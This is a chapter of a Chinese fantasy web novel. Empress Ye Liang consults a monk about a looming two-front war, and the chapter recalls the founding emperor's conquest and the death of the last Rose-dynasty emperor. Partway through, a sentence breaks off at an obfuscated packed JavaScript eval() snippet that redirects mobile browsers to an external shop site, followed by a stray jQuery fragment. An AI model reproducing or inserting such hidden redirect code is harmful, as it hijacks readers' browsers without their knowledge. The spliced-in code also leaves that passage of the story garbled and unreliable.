大夜朝开国之初，太祖皇帝夜胤南征北战，杀戮无数，为了怀柔百姓，安抚民心，特设护国寺。自那时起，护国寺便成了大夜王朝的镇国宝刹，寺中僧众不为吃斋念佛，专为降妖除魔而生。百余年香火鼎盛，每逢初一十五，善男信女从四面八方涌来，将那护国寺门前的青石长阶都踏得光可鉴人。
这一日，护国寺大雄宝殿之内，香烟缭绕，檀香的气息浓郁得几乎要将整座殿宇浸泡其中。释迦牟尼的金身法相巍然端坐于莲台之上，那金像高达三丈，宝相庄严，眉眼低垂之间自有一股俯瞰苍生的慈悲。金像前的香炉中，三柱高香已经燃到了尽头，最后一点火星在灰白的香灰中挣扎了几下，终究是灭了。整个大殿顿时暗了下来，唯有几缕稀薄的阳光从雕花的格子窗棂中透进来，落在那冰凉光滑的青石地板上，反射出几点惨淡的光斑，像是谁不经意间洒落的碎银。
夜凉女帝独自一人跪在那蒲团之上。她今日未着龙袍，只穿了一身素白的绢衣，满头青丝用一根玉簪随意绾起，几缕碎发垂落在耳边，衬得那张原本英气逼人的面孔多了几分女儿家的柔弱。她双手捧着一个紫檀木的签筒，那签筒年代久远，筒身的漆色已经斑驳，隐约可见底下透出的暗红色木纹。签筒之中插着九九八十一根竹签，每一根签子的末端都用朱砂写着不同的签文。
她将签筒举至眉心，闭上双眼，朱唇微微翕动，像是在默念着什么。殿中极静，连她呼吸的声音都清晰可闻。过了许久，她才开始摇晃手中的签筒，竹签与竹签相互碰撞，发出“哗啦哗啦”的声响，在这空旷的大殿中回荡开来，竟有几分说不出的孤寂意味。
一根签子从签筒中跃出，落在她面前的青石地面上，弹了两下，终于静止不动。
夜凉睁开眼，俯身拾起那根签子，翻过来看。只见那竹签的末端用朱砂写着四个小字——吉凶未卜。
她的手微微一颤，那签子险些从指间滑落。吉凶未卜，既非上上大吉，也非下下大凶，而是悬于两者之间，进退两难，福祸相依。这签文就像她此刻的心境一般，茫茫然不知前路何在。
夜凉将签子攥在掌心，抬起头来望向那尊金佛。释迦牟尼的面容在金箔的映衬下显得慈悲而遥远，那双微微垂下的眼眸仿佛在看着她，又仿佛什么都没有看。她的喉头滚动了一下，声音带着压抑的颤抖，在这空寂的大殿中一字一句地说了出来：“如来佛祖释迦牟尼佛在上，信女夜凉，日夜在皇宫里苦思冥想，寻找救国的办法。如今翎宸那反贼复兴了天使一族，又用姻亲拉拢上了海国的鲛人。天使族背生双翼，可翱翔九天之上；鲛人族腿拖鱼尾，可潜游四海之下。这两族强兵合在一处，一在天、一在海，我大夜朝夹在中间，腹背受敌！信女夜凉叩问佛祖，朕的夜朝，究竟该何去何从？”
她的声音在说到最后一句时陡然拔高，带着几分不甘和悲愤，像是一只被逼入绝境的困兽发出的低吼。那声音撞在殿壁上，又折返回来，形成了一波又一波的回音。回音散尽之后，大殿重新归于寂静，唯有窗外偶尔传来几声鸟鸣，清脆而遥远，仿佛来自另一个世界。
就在这时，一个浑厚低沉的声音从她身后传来。
“陛下有心魔。”
夜凉猛地回过头去。只见大雄宝殿的门口，一名中年和尚正缓缓走来。那和尚身材高大，肩宽背阔，若不是剃了光头、披了僧袍，倒像是个行伍出身的赳赳武夫。他身上穿的那件僧袍是灰白色的粗布缝制的，洗了不知多少回，边角处已经磨得发了白，甚至有几处打上了细密的补丁，但浆洗得干干净净，穿在他身上反倒有一种说不出的磊落出尘之感。他双手合十，十指修长而有力，骨节分明，指尖微微并拢，掌心虚空，正是最标准的佛门合十礼。他的脚步沉稳而从容，每一步踏在青石地板上都无声无息，仿佛足下踩的不是实地，而是一团绵软的云絮。
夜凉认出了他。此人法号慧明，是护国寺的首座，也是如今大夜朝公认的佛门第一高僧。据说他二十岁那年便已参透了《金刚经》的奥义，三十岁时闭关三年，出关之日天降祥云，周身隐现金光，被当时的住持称为“肉身菩萨”。太祖皇帝夜胤在世时，曾三次请他入宫讲法，他都以“山僧野性，不惯拘束”为由婉拒了。这样一个方外之人，今日却主动出现在了她的面前。
夜凉皱紧了眉头，将手中的签子放在了蒲团边上，站起身来面对着他。她的身量在女子中已算高挑，但站在慧明面前，仍要微微仰头才能看清他的面容。慧明的脸上没有什么表情，不喜不悲，只是一双眼睛亮得惊人，像是深潭之中倒映的星子，明明灭灭之间自有一股洞彻万物的透彻。
“这心魔，该当如何？”夜凉的声音恢复了平日的冷静，方才跪在佛前的那份柔弱已经收敛得干干净净，取而代之的是帝王特有的威严与克制。
慧明和尚没有直接回答她的问题，反而向前走了两步，在离她三步远的地方站定了。他的目光越过夜凉，落在了那尊金碧辉煌的释迦牟尼像上，像是在端详着什么。过了好一会儿，他才开口，语气温和得如同三月里的春风，可说出来的话却像是一把刀子，直直地扎进了夜凉的心里。
“万一国亡了，难道女皇陛下也要效仿前朝蔷薇王朝的殷尊帝一样，殉国而死吗？”
夜凉的瞳孔猛地一缩，脸色瞬间变了。
殷尊帝。这个名字在夜朝是一个讳莫如深的存在。朝堂之上没有人敢提，民间的话本戏文里虽然偶有演绎，但也都经过了层层删改，只剩下一些模棱两可的唱词。然而夜凉比任何人都清楚那段历史，因为她从小就是听着那段故事长大的。她的奶娘是蔷薇王朝宫中的旧人，多少个深夜里，奶娘把她抱在膝上，压低声音给她讲那个红衣帝王的故事，讲到动情处，眼泪便一滴一滴地落在她的头发上，滚烫滚烫的。
那是两百多年前的事了。
大夜朝的开国皇帝夜胤，当时还被世人称作“镇北王”。他起兵于北疆苦寒之地，率领着十万铁骑一路南下，所过之处势如破竹，连下三十二城。蔷薇王朝立国四百余年，到了末代已是积重难返，官场腐败、赋税沉重、民不聊生，夜胤的义旗一举，天下响应者如云。不到两年时间，夜胤的大军便已兵临城下，将那蔷薇王朝的京师围了个水泄不通。
京师城破那日，天上下着蒙蒙细雨，雨丝细得像牛毛，落在人的脸上几乎感觉不到，却能将人的衣衫一点一点地浸透。夜胤骑在一匹通体乌黑的骏马上，那马名叫“踏雪乌骓”，是北疆名马之后，四蹄雪白，浑身毛色黑亮如缎。夜胤勒住马缰，立在京师的城门之外，身后是黑压压的十万大军，旌旗猎猎，刀枪如林。雨水顺着他的盔甲流淌下来，在甲片的缝隙处汇聚成一道道细小的水流，又滴落在地上，和着泥土溅起一朵朵浑浊的水花。
他抬起头望向那座巍峨的城门，忽然冷笑了一声，声音不大，却清晰地传入了身边每一个将士的耳中：“看本王如何擒拿那个狗皇帝殷尊！”
城门在冲车的撞击下轰然倒塌，夜胤的军队如潮水般涌入了京师。城中的百姓早已躲回了家中，关门闭户，街道上空无一人，只有几只野狗在雨幕中仓皇奔逃。夜胤骑在马上，马蹄踏过青石板铺就的长街，发出清脆而急促的“得得”声。他径直向着皇城的方向而去，一路上没有遇到任何抵抗——蔷薇王朝的禁军早已溃散，宫门的守卫也逃了个干净，那两扇沉重的朱漆宫门虚掩着，门缝里透出里面幽深的黑暗。
而此刻，在皇城最深处的太和殿中，蔷薇王朝的最后一位皇帝殷尊，正独自站在那里。
殷尊登基时才十六岁，还是个半大的孩子。登基大典那日，他穿着那身宽大的玄色龙袍坐在龙椅上，双脚甚至够不到地面，只能悬在半空中晃荡。满朝文武跪在丹陛之下，山呼万岁，他却在龙椅上悄悄地打了个哈欠。那时候谁也没想到，这个稚气未脱的少年皇帝，会在十三年后以一种如此惨烈的方式，给这个绵延了四百余年的王朝画上句号。
如今他二十九岁了。二十九岁的殷尊穿着一身大红色的长衣，那红不是龙袍上惯用的绛红，而是一种近乎妖艳的正红色，红得像血，红得像火，红得像即将沉入地平线的落日。那件红衣上用金线绣着九龙图案，龙首昂起，龙爪箕张，在昏暗的光线中隐约闪烁着微弱的光芒。他没有戴冠，一头墨黑的长发散落在肩头和背后，发尾微微打着卷儿，随着他呼吸的起伏而轻轻晃动。
偌大的太和殿空空荡荡的，殿中原本陈列的金银器皿、古玩字画，早已被逃散的宫人们洗劫一空，只剩下几扇残破的屏风歪倒在地，和一地的碎瓷烂瓦。殿顶的藻井上原本绘着五彩祥云和展翅金凤，此刻也蒙上了一层灰扑扑的尘土，那些曾经鲜活明艳的颜色都暗淡了下去，像是褪了色的旧梦。
一名老太监跌跌撞撞地跑进殿来，他的帽子跑掉了，露出花白的头顶，脸上的皱纹因为恐惧而扭曲变形，看起来像是一张揉皱了的宣纸。他一把扯住了殷尊的衣袖，声音嘶哑得几乎不成调子：“陛下！快逃吧！来不及了！叛军已经进了宫门，再不走就真的走不了了！”
殷尊缓缓转过头来。他的面容生得极为俊美，剑眉入鬓，凤目含威，鼻梁高挺，嘴唇薄而轮廓分明。这张脸若是生在太平盛世，不知要让多少女子为之倾倒。可此刻，他的一双凤目圆睁着，眼白处布满了血丝，瞳孔中映着殿外晦暗的天光，竟有几分像是走投无路的困兽。他猛地一拽，将那老太监扯住他衣袖的手狠狠甩开。那力道大得惊人，老太监踉跄着后退了好几步，险些摔倒在地。
“走？”殷尊的声音从喉咙深处迸发出来，低沉、沙哑，带着一种近乎癫狂的决绝，“为什么要走？这座宫殿是朕的！这个国家也是朕的！朕是蔷薇王朝的皇帝，是这万里山河的主人！朕要与它们同生死，共存亡！”
他的声音在空荡荡的大殿中回荡着，一遍又一遍地撞击着那些冰冷的墙壁，仿佛连这座垂死的宫殿都在发出最后的悲鸣。
夜胤提着剑走进了皇宫大内。那两扇沉重的铁门被他的亲卫从外面轰然推开，发出一声沉闷而悠长的轰鸣，像是巨兽临终前的叹息。门轴发出刺耳的吱呀声，锈迹从门臼中簌簌落下，落在青石地面上，像是褐色的泪珠。
门开之后，展现在夜胤面前的是一片雾气朦胧中的华美宫殿。那雾气不知从何而来，薄薄的一层笼罩着整座皇城，将那些飞檐斗拱、雕梁画栋都蒙上了一层若有若无的白纱。原本金碧辉煌的殿宇此刻看起来竟像是一幅褪了色的水墨画，所有的颜色都被那层雾气吞噬殆尽，只剩下深深浅浅的灰。那景象美得惊心动魄，却也凄凉得令人心头发紧，像是走进了一座精心布置的灵堂。
夜胤站在那扇铁门之内，雨水从他的盔甲上滑落，在他的脚边汇聚成一个小小的水洼。他的身后是整装待发的精锐士兵，刀剑出鞘，杀气腾腾。而他站在这片雾气之中，竟有片刻的失神。
然后他开口了，声音如雷霆般在空旷的宫城中炸开：“殷尊小儿！还不快给本王滚出来！本王要取你的首级！”
那声音穿透雾气，穿透宫墙，穿透一层又一层的殿门，一直传到了太和殿中殷尊的耳朵里。
殷尊听到那声怒喝，浑身一震，随即嘴角竟浮起了一丝笑意。那笑容说不清是悲是喜，是怒是怨，只是将他那张原本俊美无俦的面孔衬得愈发妖冶起来，像是一朵开在坟冢之上的彼岸花。他转过身，大步走向龙椅背后，那里悬挂着一柄帝王宝剑。那剑鞘是鲨鱼皮所制，镶嵌着七颗颜色各异的宝石，呈北斗七星之状排列。他一把将剑取下，刷的一声拔剑出鞘。剑身如一泓秋水，寒气逼人，映出了他的半张脸——那只眼睛里燃烧着最后的疯狂。
他披散着头发，穿着那件妖艳的红色龙袍，踉踉跄跄地跑出了太和殿。他的脚步不稳，几次险些被门槛绊倒，但他死死握着手中的剑，指节因为用力而泛出青白色。雨丝落在他散开的长发上，落在他单薄的红衣上，将那红色浸染得愈发深沉，像是一团在雨中燃烧不灭的火焰。
夜胤看到了那个从殿中跑出来的红色身影。那一抹红色在灰蒙蒙的雾气中显得格外刺目，仿佛天地间所有的颜色都褪去了，唯独剩下这一点红，浓烈得让人几乎睁不开眼。只一眼，他便知晓，那就是蔷薇王朝的皇帝殷尊了。
殷尊的脸上一片凄惶，却又带着一种说不清道不明的疯狂。他看见了站在铁门之下的夜胤，便直奔着他而来。赤着的双脚踩在冰冷的青石地面上，踩过积水，踩过落叶，踩过那些被风吹落的琉璃瓦碎片，碎片割破了他的脚底，在身后留下一串淡淡的血脚印，他却浑然不觉。
他冲到夜胤面前，举起那柄帝王宝剑便刺。但他此刻心神已乱，脚步虚浮，那一剑刺出去虽然气势汹汹，却毫无章法可言。夜胤久经沙场，一眼便看出了他剑招中的破绽，抽出腰间那柄随他征战多年的长刀，抬手便是一格。
两刃相交，发出一声清脆的金铁交鸣。夜胤的长刀沉重如山，殷尊的宝剑轻盈似水，两者撞在一处，高下立判。夜胤连格三刀，一刀比一刀沉，一刀比一刀快，第三刀落下时，殷尊只觉得虎口剧震，整条手臂都麻了，五指不由自主地松开，那柄帝王宝剑脱手飞出，在空中划过一道弧线，当啷一声落在了几步之外的青石地面上，溅起了几朵水花。
殷尊低头看了看自己空空如也的手，又抬头看了看面前的夜胤。夜胤比他高出大半个头，身形魁梧，铠甲上沾满了征尘和血迹，手中的长刀刀身上还残留着方才交击时留下的白痕。两个人就这样面对面对视着，一个甲胄森严，一个单衣散发的，一个如巍峨山岳，一个如飘摇烛火。
然后，殷尊忽然放声大哭起来。
那哭声来得突然，毫无征兆，像是一道堤坝在洪水的冲击下骤然崩塌。他双腿一软，直直地跪在了夜胤面前，双手死死地抱住了夜胤的衣角。雨水混着泪水从他的脸上淌下来，让他那张原本俊美的面孔变得狼狈不堪。他仰起头望着夜胤，嘴唇剧烈地哆嗦着，断断续续地说道：“求求你！放过朕的国家！放过朕的子民！放过朕的嫔妃儿女们！朕给你磕头！”
说罢，他便真的磕起头来。额头重重地撞击在坚硬的青石地面上，发出沉闷的“咚咚”声响，像是有人在敲一面破了洞的鼓。一下，两下，三下……他的额头上很快便破了皮，渗出殷红的血珠，和着地上的雨水和泥土，将那一片青石染成了触目惊心的颜色。他磕得如捣蒜一般，丝毫不见帝王的尊严与体面，只剩下一个濒死之人最卑微、最绝望的恳求。
夜胤站在那里，低头看着这个跪在自己面前磕头不止的皇帝。雨丝落在他的肩头，落在他的盔甲上，发出细密的沙沙声。他的喉结上下滚动了一下，长长地叹了口气。那叹息声很轻，却像是一块巨石投入了深潭，激起了层层涟漪。
“朕本无心伤你性命。”夜胤的声音低沉而缓慢，每一个字都像是从牙缝中挤出来的，“那就做朕的阶下囚吧。”
殷尊磕头的动作停住了。他保持着跪伏的姿势，额头贴着冰冷的地面，整个人一动不动，仿佛变成了一尊石雕。雨还在下着，将他那件红衣浸得透湿，衣料紧贴在他的身上，勾勒出他瘦削的脊背和微微颤抖的肩膀。
过了许久，他缓缓站了起来。
他的脸上泪痕未干，额头上鲜血顺着眉骨流下来，淌过眼角，又顺着脸颊滑落，像是一道道蜿蜒的血泪。他望着夜胤，忽然笑了。那笑容凄厉而惨烈，像是一朵在狂风中被撕碎的花。
“朕绝不会做你的阶下囚！”他的声音陡然拔高，变得尖利而决绝，“绝不会！”
话音未落，他便赤手空拳地冲入了夜胤身后的士兵阵中。他没有了剑，没有了武器，只有一副血肉之躯，却如同疯狂般扑向了那些披坚执锐的士兵。他的红色长衣在奔跑中被风鼓起，猎猎作响，像是一面破碎的旗帜。
“不要！”夜胤猛地转过身去，眼睛瞪得滚圆，声音因为极度的震惊而变了调，“别杀他！”
但已经来不及了。殷尊一脚将最前面的一名兵士踹倒在地，那兵士猝不及防，后脑勺磕在地上，发出沉闷的一声响。然而更多的士兵立刻包围了上来，刀枪剑戟从四面八方指向他，将他困在了中央。殷尊站在那片刀枪的丛林之中，红色的长衣被雨水和鲜血浸透，紧紧地贴在他的身上。他张开双臂，仰面向天，像是在拥抱什么看不见的东西。
一支长枪从侧面刺来，枪尖刺破了他身上那件红色的龙袍，刺破了他的皮肤和肌肉，直直地没入了他的腹部。那声音沉闷而细微，像是将一根烧红的铁棍插入雪地中发出的嗤嗤声。
殷尊的身体猛地一僵。他低下头，看着那支刺入自己腹部的长枪，看着鲜血从那伤口中涌出来，顺着他红色的衣袍往下淌。红色与红色混在一起，分不清哪里是衣料的颜色，哪里是血液的颜色。他的嘴唇翕动了一下，一口鲜血从嘴角溢出来，沿着下巴滴落。然后他的身体像一株被风吹折的芦苇般，缓缓地、柔柔弱弱地倒在了地上。
夜胤的眼睛红了。他大步冲上前去，一把揪住了那个刺出长枪的兵士的衣领，那兵士还没来得及松开枪杆，便被夜胤一刀捅进了心口。夜胤的动作快得惊人，刀锋刺入、拔出，一气呵成，鲜血从刀身上甩出一道弧线，落在雨地上，迅速被雨水冲淡。那兵士甚至来不及发出一声惨叫，便瞪大了眼睛仰面倒下，到死都不明白自己究竟做错了什么。
“朕不是告诉你们了吗！”夜胤的声音在雨中炸开，带着一种近乎咆哮的愤怒和悲痛，他的眼眶中有什么东西在闪动，“莫伤皇帝性命！莫伤皇帝性命！”
他将那柄染血的长刀随手一扔，刀落在地上发出一声脆响，然后他蹲下身去，将倒在地上的殷尊扶了起来，让他靠在自己的臂弯里。
殷尊的脸色已经变得苍白如纸，嘴唇也褪去了血色，只有那一双眼睛还亮着，亮得惊人，像是一盏在风中摇曳却始终不肯熄灭的灯。他望着夜胤，望着这个亲手终结了他的王朝的人，忽然笑了。那笑容很轻很淡，像是深秋时节最后一片从枝头飘落的叶子，带着一种说不出的释然与悲凉。鲜血从他的嘴角流出来，流过了下巴，流过了脖颈，将他那件红衣染得更红了。
“你替朕……”他的声音微弱得像是一缕即将消散的烟，每一个字都要耗费他巨大的力气，“好好管……好好管啊……”他的呼吸变得急促起来，胸膛剧烈地起伏着，像是有一只看不见的手正在一点一点地扼住他的喉咙，“朕要去……那个阴间了……你一定……替朕管好……我们华族子民……”
他的声音越来越弱，越来越飘忽，像是在说一个遥远得几乎无法触及的梦。他的眼睛却始终望着夜胤，目光中没有了方才的疯狂，没有了凄惶，只剩下一种干干净净的托付，像是把什么沉甸甸的东西，用尽最后的力气递到了夜胤的手中。
“犯我中华者……”他的嘴唇无声地翕动，声音已经轻得几乎听不见了。
夜胤的眼泪终于夺眶而出。那眼泪大滴大滴地从他粗糙的面颊上滚落下来，和着雨水，落在殷尊苍白的脸上。他是一个在尸山血海中摸爬滚打出来的铁血将领，一个亲手斩下过无数头颅的沙场修罗，此刻却抱着这个被他逼上绝路的敌国皇帝，哭得像个孩子。
“虽远必诛。”他沉痛地说道，声音哽咽得不成腔调。
蔷薇王朝的末代皇帝殷尊，听到这四个字后，嘴角那抹淡淡的笑意终于凝固住了。他的头软软地靠在了夜胤的怀里，像是终于找到了一个可以安放的地方。他的嘴唇动了动，吐出此生最后一句话，轻得像一声叹息：“犯我强汉者……虽远……必诛……”
那只垂落的手，宣告了一个王朝的终结。蔷薇王朝四百年的江山，在这一刻画上了句号。而殷尊死在了夜胤的怀抱中，死在了那个亲手推翻他王朝的人怀里，死前最后的执念，竟是将自己的子民托付给了敌人。
夜胤抱着殷尊的尸体，跪在雨地里，嚎啕大哭。他的哭声粗粝而悲怆，像是一头受伤的孤狼在月下的长嗥。雨水将他的头发打湿了，一缕一缕地贴在他的额头上，和着泪水往下淌。他的肩膀剧烈地耸动着，浑身都在颤抖。周围的士兵们面面相觑，不知所措，没有人敢上前，也没有人敢出声，只有雨还在不停地下着，将所有的声音都笼罩在了一片苍茫的雨幕之中。
那一刻，这个粗犷的中年汉子，这个纵横沙场未尝一败的铁血统帅，哭成了一个泪人。
然而战争从不会因为一个人的死亡而停下脚步。殷尊死了，但蔷薇王朝还有皇室后裔，还有那些与殷尊血脉相连的皇子皇孙、亲王郡王。夜胤虽然为殷尊之死痛哭流涕，但在那之后，他对蔷薇王朝皇室后裔的清洗却毫不手软。这是政治的残酷，也是改朝换代的必然。斩草不除根，春风吹又生，这个道理夜胤比任何人都明白。
那一夜，京师城外的乱葬岗上，月色惨淡，冷风如刀。乱葬岗位于京郊西北的一片荒坡之上，平日里便是抛尸之所，野狗出没，白骨露野。此刻正是子时，天地间一片死寂，连虫鸣都听不见一声，只有风吹过枯草的沙沙声，和远处偶尔传来的几声夜枭啼叫，凄厉得让人汗毛倒竖。
几十个身影在夜色中跌跌撞撞地前行着。他们的身上都带着伤，衣衫上血迹斑斑，有的人甚至需要互相搀扶才能勉强行走。他们的脸上满是惊恐和疲惫，眼窝深陷，嘴唇干裂，但那一双双眼睛却还在黑暗中亮着，亮着一种不肯熄灭的光。
这些人便是蔷薇王朝最后的皇室后裔了。有殷尊的皇子公主，有殷尊的兄弟子侄，还有几位白发苍苍的老亲王和几个尚在襁褓中的婴孩。他们的身上流着蔷薇王朝四百年传承下来的血脉，流着与殷尊相同的血。而此刻，他们正被夜胤的追兵四处搜捕，像是一群被猎人追赶的鹿，仓皇奔逃于黑夜之中。
他们穿过了乱葬岗，脚下踩过那些不知名的白骨，骨头在脚下发出咔嚓咔嚓的碎裂声，没有人低头去看，也没有人说话。终于，他们来到了那座建在乱葬岗边缘的破旧寺庙前。那寺庙不知建于何年何月，门楣上的匾额已经朽烂得看不清字迹，两扇木门歪斜着靠在门框上，风一吹便吱呀作响。
寺庙里面亮着一盏油灯，昏黄的光从门缝中透出来，在这浓得化不开的夜色中，像是一颗孤零零的星子。
门开了，一个身披黑色斗篷的人站在门内，看不清面容，只能看出身形清瘦而挺拔。那人的声音压得很低，却带着一种不容置疑的沉稳：“你们都是皇亲国戚，金枝玉叶！快快随我来！我带你们去鬼市地下暗河！在那里，朝廷的走狗永远也追不来！”
人群沉默了片刻，然后便鱼贯而入。殷尊的皇后走在最后面，她今年不过二十六七岁的年纪，面容秀美而苍白，额头上缠着一圈白布，布上渗出了淡淡的血迹——那是城破时她从宫墙上跳下时磕伤的。她的怀中紧紧抱着一个三四岁的孩子，那孩子已经睡着了，小小的脸上还带着泪痕，呼吸却均匀而平稳，浑然不知自己正在经历怎样的生死逃亡。
皇后将那孩子交给了身边的一位老嬷嬷，然后转过身去，面朝着京师的方向，面朝着那座还在燃烧的皇城，面朝她丈夫死去的地方，跪了下来。
她咬破了自己的右手食指。鲜血从指尖涌出来，在月光下呈现出一种近乎黑色的暗红。她伸出手指，在寺庙门前的青石地面上，一笔一划地写下了一行字。血书在月光的映照下泛着幽幽的红光，像是一道刻在石头上的伤疤。
“天不亡我蔷薇王朝！”
七个字，笔笔泣血，字字千钧。她写完之后，又盯着那行字看了许久，然后站起身来，头也不回地走进了那扇门。
几十个皇室后裔，包括那几个尚在襁褓中的孩子和几位白发苍苍的老人，跟随着那个披斗篷的神秘人，走进了寺庙深处。寺庙的后殿有一扇暗门，暗门之后是一道幽深狭窄的楼梯，楼梯的石阶上长满了青苔，湿滑而冰冷。楼梯一直向下延伸，仿佛要通往地心深处。从楼梯的深处涌上来一阵阴冷潮湿的风，风中夹杂着一股说不清道不明的腥咸气味，像是海水，又像是血。
他们一个接一个地走下了那段楼梯，身影渐渐被黑暗吞没。走在最后的是皇后，她在踏入暗门之前，回头望了最后一眼。那一眼望穿了寺庙的破墙，望穿了乱葬岗的白骨，望穿了京师的残垣断壁，望向了一个再也不会回来的过去。然后她收回了目光，提起裙摆，毅然决然地走下了那段幽深的楼梯。
暗门在她身后缓缓合拢，发出一声沉闷的响动。寺庙重新归于寂静，只有门前的青石地面上，那一行血书还在月光下泛着幽幽的红光。
天不亡我蔷薇王朝。
夜凉女帝小的时候，最喜欢听的就是这段戏文。大夜朝开国太祖夜胤征战四方、最终与蔷薇末帝殷尊的那一场生死对决，被后世的文人编成了戏文话本，在民间广为流传。茶楼酒肆里的说书先生们将它说得天花乱坠，什么“夜太祖义释殷尊帝”“红龙泣血太和殿”，段段精彩，回回叫座。夜凉幼时缠着她的奶娘，一遍又一遍地讲这段故事，讲到夜胤抱着殷尊大哭那段，她也会跟着红了眼眶，用袖子偷偷地抹眼泪。
那时候她还不知道，戏文终究是戏文。戏文里的悲壮是唱出来的，是演出来的，是台下的看客们嗑着瓜子喝着茶水品评赏玩的。而真正的亡国之痛，是两百年前那个雨夜里，一个红衣帝王用命写下的绝笔。
如今她坐在这大夜朝的龙椅上，面临着与当年殷尊相似的绝境，才终于明白了那些戏文背后沉甸甸的分量。
记忆像是潮水一样涌上来，挡都挡不住。
那是一个夏日的午后，御花园里的荷花开
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17651409|206864||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
得正盛，粉白的花瓣在阳光下透出一种半透明的质感，像是用最上等的丝绸裁成的。夜凉那时候才七八岁，梳着两个圆圆的发髻，穿着一身鹅黄色的小裙子，正趴在凉亭的石桌上，百无聊赖地用手指蘸着茶水在桌面上画小人。她的身后，一个少年正靠在亭柱上，手中拿着一卷书，却并没有在看，而是微微侧着头，目光落在她的身上。
那少年大约十五六岁的年纪，穿着一身月白色的长衫，腰间系着一块碧绿的玉佩，身形修长而挺拔，像是春风中一株刚刚长成的青竹。他的面容生得极为清俊，眉骨高而眉峰不浓不淡，鼻梁直而鼻翼微微收拢，嘴唇薄而唇角天然带着一点向上的弧度，不笑的时候也像是在笑。最特别的是他的眼睛，那是一双深褐色的瞳仁，在阳光下会透出一点琥珀色的光，看人的时候总带着几分懒洋洋的温柔，像是三月的暖阳照在人身上。
他就是夜烛。夜凉唤他“夜烛哥哥”，而满朝文武则称他为“宸王殿下”。他是夜凉的堂兄，也是她在这深宫之中最亲近的人。
夜凉将手中的茶水一泼，那刚画好的小人在水渍中迅速模糊了形状，化成了一滩浅褐色的水迹。她嘟着嘴，用力地叹了口气，那口气吹得她额前的碎发都飘了起来。
“夜烛哥哥，”她转过头去，两只小手托着腮帮子，一双黑白分明的大眼睛望着夜烛，认真得不像是一个七八岁的孩子，“凉儿也想殉国，想那么悲壮的去死。”
夜烛听了这话，先是愣了一下，随即将手中的书卷随手放在石桌上，走了过来，在她面前蹲下。他比她高出许多，蹲下来之后两个人的视线才堪堪齐平。他看着她的眼睛，然后伸出手，用食指的指腹在她额头上轻轻点了一下。那动作轻柔极了，像是在触碰一件易碎的瓷器。
“想什么呢？”他的声音里带着笑意，却又不是那种敷衍的哄小孩的笑，而是认认真真的、把她的傻话当真了的笑，“有哥哥在，保证你死不了。放心，啊。”
那一个“啊”字拖得微微长了些，尾音上扬，像是在哄一只炸了毛的小猫。他说完之后，又用那只手揉了揉她的头顶，将她那两个圆圆的发髻揉得歪歪扭扭的，几缕碎发从发髻中散落出来，垂在她的耳边。
夜凉被他揉得脑袋晃了晃，嘟囔着去拨他的手，但嘴角已经不自觉地翘了起来。方才那个说要“殉国”的悲壮小女帝，转眼间就变回了那个被哥哥一哄就笑的普通小姑娘。
阳光从凉亭的飞檐下斜斜地照进来，落在两个人身上，在地上投下两个挨在一起的影子。荷花池中传来几声蛙鸣，远处的柳树上，蝉声聒噪而绵长，像是永远也不会停歇。
那是夜凉记忆中最好的夏天。也是最后一个那样的夏天。
香炉中的最后一缕香烟终于袅袅散尽了。夜凉的目光从那渐渐消散的青烟上收回来，重新落在了面前的慧明和尚身上。她的手不自觉地攥紧了，指甲陷进掌心里，传来一阵细微的刺痛。那痛意像是一根针，将她从回忆中刺醒了。
“就没有什么办法吗？”她的声音倔强而执拗，带着一种帝王特有的、不容拒绝的强硬。但慧明听得出，那强硬底下藏着的东西——那是一个溺水之人在沉下去之前，拼命想要抓住最后一根浮木的绝望。
慧明和尚沉默了许久。大殿中静得只剩下窗外风吹过树叶的沙沙声，和极远处传来的、若有若无的诵经声。那诵经声低沉而绵长，像是从地底深处涌上来的一股暖流，一字一句都听不真切，却能让人感到一种莫名的安宁。可此刻的夜凉感受不到那种安宁，她的全副心神都被即将到来的战争占据着，像是有一把刀悬在头顶，刀锋的寒芒已经落在了她的脖颈上。
终于，慧明开口了。他的声音比方才更加低沉，像是一面蒙了牛皮的老鼓被轻轻敲响，沉沉地震在人心上。
“陛下英明神武，去岁亲征苍狼部众，以三万铁骑破敌十万，将那苍狼可汗斩于马下，威震北疆。此等武功，大夜立国百余年，鲜有能及者。”他的语气中没有阿谀奉承的意味，只是平铺直叙地陈述着一个事实，像是在说今天的天气如何。然而他的话音一转，语气中便多了一层凝重，“但是陛下，那苍狼部众与天使鲛人，本质完全不同。苍狼人乃是血肉之躯，虽生得人面狼身、性情凶悍，但终究是这方天地间的生灵，刀砍会死，箭射会伤。陛下以骷髅鬼兵剿之，正是对症下药，因此一战功成。”
他说到这里，停顿了一下。那双亮得惊人的眼睛直视着夜凉，目光中没有高僧的悲悯，也没有臣子的敬畏，只有一种方外之人特有的、平视一切的淡然。
“可那天使族与鲛人族，背生双翼、腿拖鱼尾，乃是域外异族，非我族类。”他的声音缓缓沉下去，像是一块石头沉入了深水，“天使族居于云海之上的浮空岛屿，族人天生便生有双翼，可在九霄云外翱翔。他们擅长空中作战，从高处俯冲而下，羽箭如雨，我大夜的将士站在地上，只能仰面受箭，毫无还手之力。而鲛人族世代居于深海，鱼尾化成双腿之后可在陆上行走，但一旦入水，便是他们的天下。他们的战歌能在海中掀起滔天巨浪，他们的鲛绡刀锋能切断铁甲。这两族联手，一在天，一在海，而我大夜夹在中间，腹背受敌，首尾不能相顾。”
慧明的声音停住了。他没有再说下去，但言下之意已经再清楚不过了。
夜凉没有说话。她站在那尊金佛面前，素白的绢衣在从窗棂透入的微光中显得单薄而清冷。她的脊背挺得笔直，像是一柄插在地上的剑。过了很久，她才缓缓转过身去，向着大殿门口走去。她的脚步很慢，每一步都踩得很稳，像是在丈量着什么。
走到殿门口时，她停住了脚步，没有回头。
“朕知道了。”
四个字，轻描淡写。然后她跨过了门槛，走入了殿外的天光之中。
